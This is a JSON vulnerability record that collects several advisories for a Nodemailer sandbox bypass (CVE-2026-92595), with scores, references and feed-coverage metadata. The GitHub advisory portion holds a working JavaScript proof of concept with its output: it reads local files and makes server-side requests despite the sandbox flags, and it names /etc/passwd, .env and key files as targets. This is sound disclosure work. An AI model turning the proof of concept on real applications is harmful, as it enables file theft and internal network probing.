{"id":"GHSA-8m3c-c648-2xjj","revision":null,"records":[{"revision":"8e4c9c85bb1e402abfcd6b76adfbdf46","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-92595","aliases":[],"title":"Nodemailer before 9.1.1 Security Sandbox Bypass via resolveContent","description":"Nodemailer (npm package `nodemailer`) versions 9.1.0 and earlier do not honor the `disableFileAccess` and `disableUrlAccess` sandbox options when message content is resolved through the public plugin API `MailMessage.resolveContent()` using the documented legacy three-argument signature `resolveContent(data, key, callback)`. Because `shared.resolveContent()` normalizes the missing `options` argument to an empty object, the message-level flags copied into `mail.data` by the MailMessage constructor are discarded, and `resolveContentValue()` skips both access-control checks, reaching `nmfetch(url)` or `fs.createReadStream(path)`. As a result, plugin or application code that resolves untrusted message content (html, text, attachment `path` or `href`) via this API can be induced to read arbitrary local files or issue outbound HTTP(S) requests (server-side request forgery), bypassing the sandbox the application enabled. The internal paths used by `transporter.sendMail()` (`resolveAll()`, `_convertDataImages()`, and the MIME streaming path) are not affected. Fixed in version 9.1.1.","state":0,"publishedAt":"2026-09-16T21:47:00.171+00:00","modifiedAt":"2026-09-19T02:05:35.346+00:00","affected":[{"ecosystem":"Vendor product","name":"nodemailer","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"nodemailer\",\n                    \"product\": \"nodemailer\",\n                    \"defaultStatus\": \"unaffected\",\n                    \"packageURL\": \"pkg:npm/nodemailer\",\n                    \"versions\": [\n                        {\n                            \"version\": \"0\",\n                            \"status\": \"affected\",\n                            \"versionType\": \"semver\",\n                            \"lessThan\": \"9.1.1\"\n                        },\n                        {\n                            \"version\": \"9.1.1\",\n                            \"status\": \"unaffected\",\n                            \"versionType\": \"semver\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","score":6,"severity":"MEDIUM"},{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N","score":5.9,"severity":"MEDIUM"}],"references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8m3c-c648-2xjj","https://www.vulncheck.com/advisories/nodemailer-before-9.1.1-security-sandbox-bypass-via-resolvecontent"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-92595","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-92595","identifiers":["CVE-2026-92595"]},"retained":false,"historicalAffected":[]},{"revision":"eb733fc574994603854d0c619b926d55","observedAt":"2026-11-11T18:10:39.441+00:00","statement":{"source":"euvd","id":"EUVD-2026-81295","aliases":["CVE-2026-92595","GHSA-5635-p6jj-6g9p"],"title":"Nodemailer (npm package `nodemailer`) versions 9.1.0 and earlier do not honor the `disableFileAccess` and `disableUrlAccess` sandbox options when message content is resolved through the public plugin API `MailMessage.resolveContent()` using…","description":"Nodemailer (npm package `nodemailer`) versions 9.1.0 and earlier do not honor the `disableFileAccess` and `disableUrlAccess` sandbox options when message content is resolved through the public plugin API `MailMessage.resolveContent()` using the documented legacy three-argument signature `resolveContent(data, key, callback)`. Because `shared.resolveContent()` normalizes the missing `options` argument to an empty object, the message-level flags copied into `mail.data` by the MailMessage constructor are discarded, and `resolveContentValue()` skips both access-control checks, reaching `nmfetch(url)` or `fs.createReadStream(path)`. As a result, plugin or application code that resolves untrusted message content (html, text, attachment `path` or `href`) via this API can be induced to read arbitrary local files or issue outbound HTTP(S) requests (server-side request forgery), bypassing the sandbox the application enabled. The internal paths used by `transporter.sendMail()` (`resolveAll()`, `_convertDataImages()`, and the MIME streaming path) are not affected. Fixed in version 9.1.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N","score":6,"severity":null}],"references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8m3c-c648-2xjj","https://www.vulncheck.com/advisories/nodemailer-before-9.1.1-security-sandbox-bypass-via-resolvecontent"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-81295","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 16, 2026, 9:47:00 PM","dateUpdated":"Sep 19, 2026, 2:05:35 AM"},"relatedAdvisories":[{"id":"WID-SEC-W-2026-3621","title":"IBM App Connect Enterprise: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2022-35948","CVE-2026-13697","CVE-2026-14643","CVE-2026-15157","CVE-2026-1527","CVE-2026-16728","CVE-2026-16729","CVE-2026-59871","CVE-2026-59873","CVE-2026-59874","CVE-2026-59875","CVE-2026-92595","CVE-2026-92596","CVE-2026-92597","CVE-2026-92598","CVE-2026-9678"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-81295","identifiers":["EUVD-2026-81295","CVE-2026-92595","GHSA-5635-p6jj-6g9p"]},"retained":false,"historicalAffected":[]},{"revision":"3e07147a256245c0be0954b10c9200f8","observedAt":"2026-10-25T16:19:22.228+00:00","statement":{"source":"nvd","id":"CVE-2026-92595","aliases":[],"title":"Nodemailer (npm package `nodemailer`) versions 9.1.0 and earlier do not honor the `disableFileAccess` and `disableUrlAccess` sandbox options when message content is resolved through the public plugin API `MailMessage.resolveContent()` using…","description":"Nodemailer (npm package `nodemailer`) versions 9.1.0 and earlier do not honor the `disableFileAccess` and `disableUrlAccess` sandbox options when message content is resolved through the public plugin API `MailMessage.resolveContent()` using the documented legacy three-argument signature `resolveContent(data, key, callback)`. Because `shared.resolveContent()` normalizes the missing `options` argument to an empty object, the message-level flags copied into `mail.data` by the MailMessage constructor are discarded, and `resolveContentValue()` skips both access-control checks, reaching `nmfetch(url)` or `fs.createReadStream(path)`. As a result, plugin or application code that resolves untrusted message content (html, text, attachment `path` or `href`) via this API can be induced to read arbitrary local files or issue outbound HTTP(S) requests (server-side request forgery), bypassing the sandbox the application enabled. The internal paths used by `transporter.sendMail()` (`resolveAll()`, `_convertDataImages()`, and the MIME streaming path) are not affected. Fixed in version 9.1.1.","state":0,"publishedAt":"2026-09-16T22:18:30.417+00:00","modifiedAt":"2026-09-22T20:25:55.87+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · disclosure@vulncheck.com · Secondary","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":6,"severity":"MEDIUM"},{"system":"CVSS 3.1 · disclosure@vulncheck.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N","score":5.9,"severity":"MEDIUM"}],"references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8m3c-c648-2xjj","https://www.vulncheck.com/advisories/nodemailer-before-9.1.1-security-sandbox-bypass-via-resolvecontent"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92595","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-73"],"productCriteria":[],"sourceDates":{"published":"2026-09-16T22:18:30.417","lastModified":"2026-09-22T20:25:55.870"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-92595","identifiers":["CVE-2026-92595"]},"retained":false,"historicalAffected":[]},{"revision":"a14cf1937a534208a27ab618c2a927cd","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-8m3c-c648-2xjj","aliases":["CVE-2026-92595"],"title":"Nodemailer: resolveContent() on a MailMessage bypasses disableFileAccess/disableUrlAccess when called with the legacy signature","description":"### Summary\n\nNodemailer's `disableFileAccess` / `disableUrlAccess` options are a security sandbox that lets an application forbid untrusted message content (`html`/`text`/attachment `path`/`href`) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit `5f69497`) threaded these flags through the library's internal resolution paths (`MailMessage.resolveAll()` and `_convertDataImages()`), but the public plugin API `MailMessage.resolveContent(...args)` (`lib/mailer/mail-message.js:41-43`) remains a raw passthrough to `shared.resolveContent()`.\n\nWhen called with the documented legacy signature `mail.resolveContent(data, key, callback)`, `shared.resolveContent` normalizes the missing options argument to an empty object (`options = options || {}`, `lib/shared/index.js:530`). The message-level flags that the `MailMessage` constructor already copied into `mail.data` (`lib/mailer/mail-message.js:34-38`) are silently discarded, so `resolveContentValue` skips both access-control guards and reaches `nmfetch(url)` (SSRF, `lib/shared/index.js:588`) or `fs.createReadStream(path)` (arbitrary file read, `lib/shared/index.js:597`).\n\nA plugin or application code that resolves message content through the documented API (the same API the library's own `_convertDataImages` uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.\n\n### Details\n\nRoot cause. The `MailMessage` constructor stores the transporter-level sandbox flags on the message object (`lib/mailer/mail-message.js:34-38`):\n\n```js\n['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key => {\n    if (key in options) {\n        this.data[key] = options[key];\n    }\n});\n```\n\nThe public resolver is a pure passthrough (`lib/mailer/mail-message.js:41-43`):\n\n```js\nresolveContent(...args) {\n    return shared.resolveContent(...args);\n}\n```\n\n`shared.resolveContent` supports the legacy 3-argument signature and collapses the missing options to `{}` (`lib/shared/index.js:524-530`):\n\n```js\nmodule.exports.resolveContent = (data, key, options, callback) => {\n    // options is optional; support the legacy resolveContent(data, key, callback) signature\n    if (!callback && typeof options === 'function') {\n        callback = options;\n        options = false;\n    }\n    options = options || {};\n    ...\n    resolveContentValue(data, key, options, callback);\n```\n\n`resolveContentValue` then checks `options.disableUrlAccess` / `options.disableFileAccess` (`lib/shared/index.js:581` / `:590`), both `undefined` for the legacy signature, so it falls through to `nmfetch` (`:588`) or `fs.createReadStream` (`:597`).\n\nContrast with the fixed paths. `resolveAll()` (`lib/mailer/mail-message.js:112-115`) and `_convertDataImages()` (`lib/mailer/index.js:437-440`) both pass the message flags explicitly. The MIME streaming path (`lib/mime-node/index.js:1059-1077`) also honors the flags. So an application that enables the sandbox and then calls `transporter.sendMail()` is protected; the bypass appears only when message content is resolved through the public legacy-signature API — which is the documented plugin usage (the `resolveContent` JSDoc at `lib/shared/index.js:510-523` states it is \"useful when you want to create a plugin that needs a content value\").\n\nAffected versions. Confirmed on `9.1.0` (HEAD `efd6e29c10c6e0c25c57bd2f2a71302838235a4f`, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (`test/mailer/mail-message-test.js` contains no `resolveContent` test).\n\n### PoC\n\nRequires: `nodemailer@9.1.0`, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.\n\n```js\n'use strict';\nconst nodemailer = require('nodemailer');\nconst MailMessage = require('nodemailer/lib/mailer/mail-message');\n\nconst TARGET_FILE = '/app/src/package.json';   // any readable local file\nconst SSRF_URL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target\n\nconst transporter = nodemailer.createTransport({\n    streamTransport: true,\n    disableFileAccess: true,   // sandbox explicitly enabled\n    disableUrlAccess: true\n});\n\nconst data = {\n    from: 'a@example.com', to: 'b@example.com', subject: 'poc', text: 'hello',\n    html: { path: TARGET_FILE },\n    attachments: [{ filename: 'x.bin', href: SSRF_URL }]\n};\nconst mail = new MailMessage(transporter, data);\n// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true\n\n// Documented legacy plugin signature — options argument omitted:\nmail.resolveContent(mail.data, 'html', (err, value) => {\n    if (err) return console.log('BLOCKED', err.code);\n    console.log('FILE_READ_OK len=', value.length);          // -> 1647 (package.json)\n});\nmail.resolveContent(mail.data.attachments, 0, (err, body) => {\n    if (err) return console.log('BLOCKED', err.code);\n    console.log('URL_FETCH_OK body=', body.toString());      // -> fetched response\n});\n```\n\nObserved output on the audit environment (Node 22, `nodemailer@9.1.0`):\n\n```text\nmail.data.disableFileAccess = true | disableUrlAccess = true\n[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json\n[CONTROL html.path explicit-options] err = EFILEACCESS\n[BYPASS html.path legacy] READ OK len = 1647 head = \"{\\n    \\\"name\\\": \\\"nodemailer\\\",\\n    \\\"version\\\": \\\"9.1.0\\\",\\n    \\\"des\"\n[BYPASS att[0].href legacy] FETCH OK len = 13 body = \"HTTP-SINK OK\\n\"\n```\n\nThe negative controls (`resolveAll`, and `resolveContent` with explicit `{ disableFileAccess: true }`) return `EFILEACCESS`, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real `transporter.sendMail()` flow when a `compile` plugin calls `mail.resolveContent(mail.data, 'html', cb)` / `mail.resolveContent(mail.data.attachments, 0, cb)`.\n\n### Impact\n\nAn application that enables `disableFileAccess` / `disableUrlAccess` to contain untrusted message content and that resolves content through the documented plugin API (`mail.resolveContent(data, key, callback)`) has its sandbox silently bypassed:\n\n- Arbitrary local file disclosure: a message `html`/attachment `path` pointing at a server file (`/etc/passwd`, `.env`, key material) is read and returned to the caller / delivered in the message.\n- Server-side request forgery: a message `href` pointing at an internal or loopback URL is fetched from the application host.\n\nReachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default `transporter.sendMail()` path remains protected, so this is a defense-in-depth gap in the library's own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.","state":0,"publishedAt":"2026-09-08T21:16:00+00:00","modifiedAt":"2026-09-17T11:56:00.648821+00:00","affected":[{"ecosystem":"npm","name":"nodemailer","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"9.1.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8m3c-c648-2xjj","https://github.com/nodemailer/nodemailer/commit/ab7ef348b9a97b1fd70e7bfbeb56d4ea4a07946b","https://github.com/nodemailer/nodemailer/commit/dc48ed395c4d6c79ee5c95eb6eff17bafe391474","https://github.com/nodemailer/nodemailer","https://github.com/nodemailer/nodemailer/releases/tag/v9.1.1"],"sourceUrl":"https://github.com/advisories/GHSA-8m3c-c648-2xjj","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-8m3c-c648-2xjj","identifiers":["GHSA-8m3c-c648-2xjj","CVE-2026-92595"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-13T04:18:36.4231440+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-13T04:18:36.423144+00:00","lastSuccessAt":"2026-11-13T04:18:36.6499472+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:18:36.6499505+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-d8fa82e95fdb59244e2f635e667ba17f0796ca0a4f1f4bb8cc31febcd660b76c-eec2a7b6fa103d7adf500db624fb62eee17c31f1d368f8ffbfab89234260d0bb","complete":true,"records":424956,"lastAttemptAt":"2026-11-13T04:16:36.7627787+00:00","lastSuccessAt":"2026-11-13T04:16:36.734253+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:16:36.7627787+00:00","snapshotPublishedAt":"2026-11-13T03:23:36+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-1b5112a53eeb477c9847c44ff20526b1","complete":false,"records":13793,"lastAttemptAt":"2026-11-13T04:23:39.8166678+00:00","lastSuccessAt":"2026-11-13T04:23:39.8827678+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:23:39.8827678+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-13T04:18:36.4231440+00:00","complete":true,"records":1123,"lastAttemptAt":"2026-11-13T04:18:36.423144+00:00","lastSuccessAt":"2026-11-13T04:18:36.6506845+00:00","error":null,"lastVerifiedAt":"2026-11-13T04:18:36.6506847+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. 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